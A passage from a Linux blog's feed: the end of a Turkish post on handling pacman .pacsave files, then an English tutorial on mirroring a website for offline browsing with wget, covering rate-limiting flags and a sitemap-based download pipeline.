&lt;p&gt;&amp;Idot;&amp;scedil;te bu kadar. Eski ayarlar&amp;inodot;n saniyeler i&amp;ccedil;inde geri d&amp;ouml;nd&amp;uuml;.&lt;/p&gt;
&lt;h2 id="pacsave-dosyalarn-ne-zaman-silmeliyim"&gt;.pacsave Dosyalar&amp;inodot;n&amp;inodot; Ne Zaman Silmeliyim?&lt;a class="headerlink" href="#pacsave-dosyalarn-ne-zaman-silmeliyim" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;te buras&amp;inodot; &amp;ouml;nemli.&lt;/p&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Kritik Uyar&amp;inodot; 🛑 Bir &lt;code&gt;.pacsave&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; silmeden &amp;ouml;nce iki kez d&amp;uuml;&amp;scedil;&amp;uuml;n. Sadece &amp;scedil;u durumlarda g&amp;uuml;venle silebilirsin:&lt;/p&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;O paketi bir daha &lt;em&gt;asla&lt;/em&gt; kurmayaca&amp;gbreve;&amp;inodot;na eminsen.&lt;/li&gt;
&lt;li&gt;Dosyan&amp;inodot;n i&amp;ccedil;ine (&lt;code&gt;cat&lt;/code&gt; veya &lt;code&gt;nano&lt;/code&gt; ile) bakt&amp;inodot;n ve 'Burada &amp;ouml;nemli hi&amp;ccedil;bir &amp;scedil;ey yokmu&amp;scedil;' dediysen.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;E&amp;gbreve;er eminsen, silme komutu basit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;rm&lt;span class="w"&gt; &lt;/span&gt;/etc/httpd/conf/httpd.conf.pacsave
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ben genelde silmek yerine &lt;code&gt;~/yedekler/&lt;/code&gt; diye bir yere ta&amp;scedil;&amp;inodot;yorum. Ne olur ne olmaz... San&amp;inodot;r&amp;inodot;m biraz istif&amp;ccedil;iyim. 😅&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;/etc/httpd/conf/httpd.conf.pacsave&lt;span class="w"&gt; &lt;/span&gt;~/yedekler/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="hzl-soru-cevap-kafa-karsklg-giderici"&gt;H&amp;inodot;zl&amp;inodot; Soru-Cevap (Kafa Kar&amp;inodot;&amp;scedil;&amp;inodot;kl&amp;inodot;&amp;gbreve;&amp;inodot; Giderici)&lt;a class="headerlink" href="#hzl-soru-cevap-kafa-karsklg-giderici" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;H&amp;inodot;zl&amp;inodot;ca birka&amp;ccedil; klasik soruyu da cevaplayal&amp;inodot;m:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;S: &lt;code&gt;.pacnew&lt;/code&gt; ile &lt;code&gt;.pacsave&lt;/code&gt; aras&amp;inodot;ndaki fark ne?&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;C:&lt;/strong&gt; &lt;code&gt;.pacnew&lt;/code&gt; &lt;strong&gt;g&amp;uuml;ncelleme&lt;/strong&gt; yaparken gelir (Sistem: "Bak, bu yeni s&amp;uuml;r&amp;uuml;m&amp;uuml;n ayar dosyas&amp;inodot;, seninkinden farkl&amp;inodot;"). &lt;code&gt;.pacsave&lt;/code&gt; ise &lt;strong&gt;kald&amp;inodot;rma&lt;/strong&gt; yaparken gelir (Sistem: "Sen bu dosyay&amp;inodot; de&amp;gbreve;i&amp;scedil;tirmi&amp;scedil;tin, ben bunu siliyorum ama yede&amp;gbreve;i burada").&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;S: &lt;code&gt;.pacsave&lt;/code&gt; dosyalar&amp;inodot;n&amp;inodot; hemen silebilir miyim?&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;C:&lt;/strong&gt; Yapabilirsin, ama yapma. &amp;Idot;&amp;ccedil;ine bir bak. Belki o paketi 3 ay sonra tekrar kuracaks&amp;inodot;n ve o ayarlara ihtiyac&amp;inodot;n olacak.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;S: Her paket &lt;code&gt;.pacsave&lt;/code&gt; olu&amp;scedil;turur mu?&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;C:&lt;/strong&gt; Hay&amp;inodot;r. Sadece (1) yap&amp;inodot;land&amp;inodot;rma dosyas&amp;inodot; i&amp;ccedil;eren VE (2) senin o dosyay&amp;inodot; de&amp;gbreve;i&amp;scedil;tirmi&amp;scedil; oldu&amp;gbreve;un paketler kald&amp;inodot;r&amp;inodot;l&amp;inodot;rken olu&amp;scedil;ur.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;S: &amp;Idot;kisini birden nas&amp;inodot;l y&amp;ouml;netirim?&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;C:&lt;/strong&gt; &lt;code&gt;pacman-contrib&lt;/code&gt; kur ve &lt;code&gt;sudo pacdiff&lt;/code&gt; kullan. Hayat&amp;inodot;n&amp;inodot; kolayla&amp;scedil;t&amp;inodot;r&amp;inodot;r.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="isin-ozu"&gt;&amp;Idot;&amp;scedil;in &amp;Ouml;z&amp;uuml;...&lt;a class="headerlink" href="#isin-ozu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;K&amp;inodot;sacas&amp;inodot;, &lt;code&gt;.pacsave&lt;/code&gt; dosyalar&amp;inodot; Pacman'in en ak&amp;inodot;ll&amp;inodot; &amp;ouml;zelliklerinden biri. Senin i&amp;ccedil;in bir g&amp;uuml;venlik a&amp;gbreve;&amp;inodot; 🕸️. Her paket kald&amp;inodot;rd&amp;inodot;ktan sonra bir &lt;code&gt;pacdiff&lt;/code&gt; komutu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak (veya &lt;code&gt;find&lt;/code&gt; komutu) ve bu dosyalara bir g&amp;ouml;z atmak, &lt;code&gt;/etc&lt;/code&gt; dizinini temiz tutar ve de&amp;gbreve;erli yap&amp;inodot;land&amp;inodot;rmalar&amp;inodot;n&amp;inodot; kaybetmemeni sa&amp;gbreve;lar.&lt;/p&gt;</content><category term="Linux"/><category term="pacsave"/><category term="pacman"/><category term="arch linux"/><category term="sorun giderme"/></entry><entry><title>Downloading a Website Correctly with Wget</title><link href="https://yuceltoluyag.github.io/en/wget-ile-web-sitesi-indirme/" rel="alternate"/><published>2025-11-14T11:59:00+03:00</published><updated>2025-11-14T11:59:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-14:/en/wget-ile-web-sitesi-indirme/</id><summary type="html">&lt;p&gt;Downloading a site with Wget is an art. With the wrong command, the site turns into a dump. I'm showing the right parameters to browse offline without broken links.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Downloading a site on Linux... &lt;code&gt;wget&lt;/code&gt; immediately comes to mind. Everyone recommends it, you know. But that command, when used with the wrong parameters, turns what you download into a complete mess. Broken links, empty images... it happened to me recently, and I got annoyed. 😤 That's why I'm here to explain that magical combination.&lt;/p&gt;
&lt;p&gt;Our goal is simple: to be able to browse the downloaded site seamlessly on our computer, not to overload the server, and not to overwrite files.&lt;/p&gt;
&lt;p&gt;Generally, there are two ways. One is "recursive traversal," which means downloading the site by branching out. The other is to pull all the addresses from the site's &lt;code&gt;sitemap.xml&lt;/code&gt; file one by one. Both work, but for different situations.&lt;/p&gt;
&lt;h2 id="the-famous-branching-download-process"&gt;The Famous "Branching" Download Process&lt;a class="headerlink" href="#the-famous-branching-download-process" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Of course, we'll use &lt;code&gt;wget&lt;/code&gt;. GNU Wget is a free utility for non-interactively downloading files from the Web...&lt;/p&gt;
&lt;p&gt;...Saying it like that sounds too formal to me. Wait, let me rephrase: &lt;code&gt;wget&lt;/code&gt;, Linux's oldest, most robust soldiers. It's already available in most distributions.&lt;/p&gt;
&lt;p&gt;So, let's use this soldier correctly, shall we?&lt;/p&gt;
&lt;h3 id="magical-words-and-their-meanings"&gt;Magical Words and Their Meanings&lt;a class="headerlink" href="#magical-words-and-their-meanings" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I don't want to explain each parameter one by one like technical articles. That would be extremely boring. Instead, let's think of what each part of this command does, like the parts of a car.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First, the "Being Polite" Part:&lt;/strong&gt;
I usually start with &lt;code&gt;--wait=2&lt;/code&gt;. Why? Once, I downloaded too fast, and the site owner banned me. Since that day, I've been operating on the principle of "the politer you are, the better." This command tells wget to pause for 2 seconds before downloading each file. Sometimes I even extend it to 3 seconds, giving myself a chance to collect my thoughts.&lt;/p&gt;
&lt;p&gt;It just occurred to me, is that site owner still blocking me? Anyway, back to the topic.&lt;/p&gt;
&lt;p&gt;Similarly, there's &lt;code&gt;--limit-rate=20K&lt;/code&gt;. This limits the download speed to 20 kilobytes per second. So you're telling wget, "don't be greedy, be slow and steady." Otherwise, you'll consume both the server's bandwidth and your own internet will get jammed. This command is a lifesaver, especially when downloading large sites.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Now, the "Doing It Right" Part:&lt;/strong&gt;
The &lt;code&gt;--recursive&lt;/code&gt; command is where the magic begins. This allows it to download all pages by jumping from one branch of the site to another. It's like going down a rabbit hole. 🐇 By default, it goes 5 levels deep; if the site is deeper, you can download indefinitely by saying &lt;code&gt;--level=inf&lt;/code&gt; (but be careful, it can take a very long time!). I'm not sure, but I think &lt;code&gt;--level=0&lt;/code&gt; might also work for infinite, worth checking.&lt;/p&gt;
&lt;p&gt;What about the page's images, CSS? That's where &lt;code&gt;--page-requisites&lt;/code&gt; comes in. This command ensures that the page brings "everything it needs" - images, CSS, JavaScript - along with it. If you don't do this, the site you download will look like an unfurnished, empty house, nothing will look right. 👻&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Final Touches:&lt;/strong&gt;
What if the links break after the download is complete? That's exactly what &lt;code&gt;--convert-links&lt;/code&gt; is for. This command makes the downloaded site work on your own computer. It redirects the links to local files. Otherwise, the link you click will open to nothing.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;--adjust-extension&lt;/code&gt; is also very useful. If the downloaded page's extension is not &lt;code&gt;.html&lt;/code&gt;, wget adds &lt;code&gt;.html&lt;/code&gt; to the end of it. This is very important for local browsing.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;--no-clobber&lt;/code&gt; prevents duplicates. So if you download a file and then run it again, wget won't overwrite the old one, it will just say "this exists." Sometimes it's useful.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Tip ⚡ Let me quickly drop a small note here: The &lt;code&gt;-e robots=off&lt;/code&gt; parameter prevents wget from respecting the site's &lt;code&gt;robots.txt&lt;/code&gt; file. This means you're saying, 'I'm a bot, but I won't follow your rules.' Use this carefully, some sites might not like it.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="so-what-should-the-final-form-of-this-command-be"&gt;So, What Should the Final Form of This Command Be?&lt;a class="headerlink" href="#so-what-should-the-final-form-of-this-command-be" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Here's that magical command I put together after all my experiences. We can call it the "super download spell":&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;wget&lt;span class="w"&gt; &lt;/span&gt;--wait&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--level&lt;span class="o"&gt;=&lt;/span&gt;inf&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--limit-rate&lt;span class="o"&gt;=&lt;/span&gt;20K&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--recursive&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--page-requisites&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--user-agent&lt;span class="o"&gt;=&lt;/span&gt;Mozilla&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--no-parent&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--convert-links&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--adjust-extension&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--no-clobber&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;-e&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;robots&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;off&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;https://example.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="example-try"&gt;Example Try&lt;a class="headerlink" href="#example-try" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Let's download &lt;code&gt;https://example.com&lt;/code&gt; and see how "noisy" &lt;code&gt;wget&lt;/code&gt; can be.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;wget&lt;span class="w"&gt; &lt;/span&gt;--wait&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--limit-rate&lt;span class="o"&gt;=&lt;/span&gt;20K&lt;span class="w"&gt; &lt;/span&gt;--recursive&lt;span class="w"&gt; &lt;/span&gt;--page-requisites&lt;span class="w"&gt; &lt;/span&gt;--user-agent&lt;span class="o"&gt;=&lt;/span&gt;Mozilla&lt;span class="w"&gt; &lt;/span&gt;--no-parent&lt;span class="w"&gt; &lt;/span&gt;--convert-links&lt;span class="w"&gt; &lt;/span&gt;--adjust-extension&lt;span class="w"&gt; &lt;/span&gt;--no-clobber&lt;span class="w"&gt; &lt;/span&gt;https://example.com
--2017-06-30&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;:48:46--&lt;span class="w"&gt;  &lt;/span&gt;https://example.com/
Resolving&lt;span class="w"&gt; &lt;/span&gt;example.com&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;example.com&lt;span class="o"&gt;)&lt;/span&gt;...&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;93&lt;/span&gt;.184.216.34
Connecting&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;example.com&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;example.com&lt;span class="o"&gt;)[&lt;/span&gt;&lt;span class="m"&gt;93&lt;/span&gt;.184.216.34&lt;span class="o"&gt;]&lt;/span&gt;:443...&lt;span class="w"&gt; &lt;/span&gt;connected.
HTTP&lt;span class="w"&gt; &lt;/span&gt;request&lt;span class="w"&gt; &lt;/span&gt;sent,&lt;span class="w"&gt; &lt;/span&gt;awaiting&lt;span class="w"&gt; &lt;/span&gt;response...&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;OK
Length:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1270&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.2K&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;text/html&lt;span class="o"&gt;]&lt;/span&gt;
Saving&lt;span class="w"&gt; &lt;/span&gt;to:&lt;span class="w"&gt; &lt;/span&gt;&amp;lsquo;example.com/index.html&amp;rsquo;

example.com/index.html&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="m"&gt;100&lt;/span&gt;%&lt;span class="o"&gt;[===========================================================&lt;/span&gt;&amp;gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.24K&lt;span class="w"&gt;  &lt;/span&gt;--.-KB/s&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.003s

&lt;span class="m"&gt;2017&lt;/span&gt;-06-30&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;:48:46&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;371&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;KB/s&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;&amp;lsquo;example.com/index.html&amp;rsquo;&lt;span class="w"&gt; &lt;/span&gt;saved&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1270&lt;/span&gt;/1270&lt;span class="o"&gt;]&lt;/span&gt;

FINISHED&lt;span class="w"&gt; &lt;/span&gt;--2017-06-30&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;:48:46--
Total&lt;span class="w"&gt; &lt;/span&gt;wall&lt;span class="w"&gt; &lt;/span&gt;clock&lt;span class="w"&gt; &lt;/span&gt;time:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.6s
Downloaded:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;file,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.2K&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.003s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;371&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;KB/s&lt;span class="o"&gt;)&lt;/span&gt;
Converting&lt;span class="w"&gt; &lt;/span&gt;links&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;example.com/index.html...&lt;span class="w"&gt; &lt;/span&gt;nothing&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;.
Converted&lt;span class="w"&gt; &lt;/span&gt;links&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;file&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;seconds.
$&lt;span class="w"&gt; &lt;/span&gt;tree&lt;span class="w"&gt; &lt;/span&gt;example.com/
example.com/
&amp;boxur;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;index.html

&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;directories,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;file
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;See how detailed the report is, it tells every step. This is great for debugging.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Shortcut: Wget Mirror Now you might say, 'Oh, writing all this is too long, isn't there a shortcut?' Of course there is. &lt;code&gt;wget&lt;/code&gt; already comes with a useful &lt;code&gt;--mirror&lt;/code&gt; parameter. This parameter means the same as using &lt;code&gt;-r -l inf -N&lt;/code&gt;. That is, it performs recursive, infinite depth, and timestamped downloading.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="method-2-being-smarter-using-sitemap_1"&gt;Method 2: Being Smarter (Using Sitemap)&lt;a class="headerlink" href="#method-2-being-smarter-using-sitemap" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Another approach is to avoid recursive traversal of the site and download all URLs from the site's &lt;code&gt;sitemap.xml&lt;/code&gt; file. This is a much cleaner method, especially when you only want specific pages.&lt;/p&gt;
&lt;h3 id="filtering-urls-from-sitemap"&gt;Filtering URLs from Sitemap&lt;a class="headerlink" href="#filtering-urls-from-sitemap" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;A sitemap file usually looks like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;urlset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;xmlns:xsi=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2001/XMLSchema-instance"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;xsi:schemaLocation=&lt;/span&gt;&lt;span class="s"&gt;"http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;"http://www.sitemaps.org/schemas/sitemap/0.9"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;url&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;loc&amp;gt;&lt;/span&gt;https://yuceltoluyag.github.io/&lt;span class="nt"&gt;&amp;lt;/loc&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;lastmod&amp;gt;&lt;/span&gt;2014-09-15T00:00:00-03:00&lt;span class="nt"&gt;&amp;lt;/lastmod&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/url&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;url&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;loc&amp;gt;&lt;/span&gt;https://yuceltoluyag.github.io/en&lt;span class="nt"&gt;&amp;lt;/loc&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;lastmod&amp;gt;&lt;/span&gt;2014-09-15T00:00:00-03:00&lt;span class="nt"&gt;&amp;lt;/lastmod&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/url&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/urlset&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here we need to get all URLs within &lt;code&gt;sitemap.xml&lt;/code&gt;. We can use &lt;code&gt;grep&lt;/code&gt; for this: &lt;code&gt;grep "&amp;lt;loc&amp;gt;" sitemap.xml&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="removing-loc-tags"&gt;Removing Loc Tags&lt;a class="headerlink" href="#removing-loc-tags" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Now let's clean up the unnecessary tags: &lt;code&gt;sed -e 's/&amp;lt;[^&amp;gt;]*&amp;gt;//g'&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="all-together"&gt;All Together&lt;a class="headerlink" href="#all-together" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;After the previous two commands, we have a list of URLs, and this list is the parameter that &lt;code&gt;wget -i&lt;/code&gt; reads.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;wget&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;loc&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sitemap.xml&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-e&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'s/&amp;lt;[^&amp;gt;]*&amp;gt;//g'&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And &lt;code&gt;wget&lt;/code&gt; will start downloading them one by one. This method can be much more efficient for downloading only the pages we need.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id="the-bottom-line_1"&gt;The Bottom Line...&lt;a class="headerlink" href="#the-bottom-line" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;So, the bottom line is, wget is truly a treasure. You won't need to use any other GUI tool; you can do everything you can imagine on the command line. You just need to take a look at its manual for the right parameters.&lt;/p&gt;
&lt;p&gt;Thanks to the parameter combination above, you'll have a fully browsable, local copy.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Attention ⚠️ A warning: &lt;code&gt;.html&lt;/code&gt; extensions might not always work. Sometimes you might want wget to generate extensions based on Content Type, and sometimes you might need to prevent wget from generating extensions when using 'pretty URLs'. You need to adjust this according to the situation.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;I hope this article is useful to you, happy downloading!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For more information, you can check out the &lt;a href="/en/linux-ta-httrack-kullanimi/"&gt;Using HTTrack on Linux&lt;/a&gt; guide.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Actually, when I first discovered this method, I was very happy. Because I needed to download only specific pages in a very large site, and this saved me from a job that could have taken hours.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="wget"/><category term="komut satırı"/><category term="linux"/><category term="sorun giderme"/></entry><entry><title>Wget ile Bir Web Sitesini Doğru Yöntemle İndirme</title><link href="https://yuceltoluyag.github.io/wget-ile-web-sitesi-indirme/" rel="alternate"/><published>2025-11-14T11:59:00+03:00</published><updated>2025-11-14T11:59:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-14:/wget-ile-web-sitesi-indirme/</id><summary type="html">&lt;p&gt;Wget ile site indirmek bir sanattır. Yanlış komutla site çöplüğe döner. Kırık linkler olmadan, offline gezmek için doğru parametreleri gösteriyorum.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Linux'ta bir siteyi indirmek... akl&amp;inodot;ma direkt &lt;code&gt;wget&lt;/code&gt; geliyor. Herkes tavsiye eder, biliyorsun. Ama o komut, yanl&amp;inodot;&amp;scedil; parametrelerle kullan&amp;inodot;l&amp;inodot;nca indirdi&amp;gbreve;in &amp;scedil;ey resmen 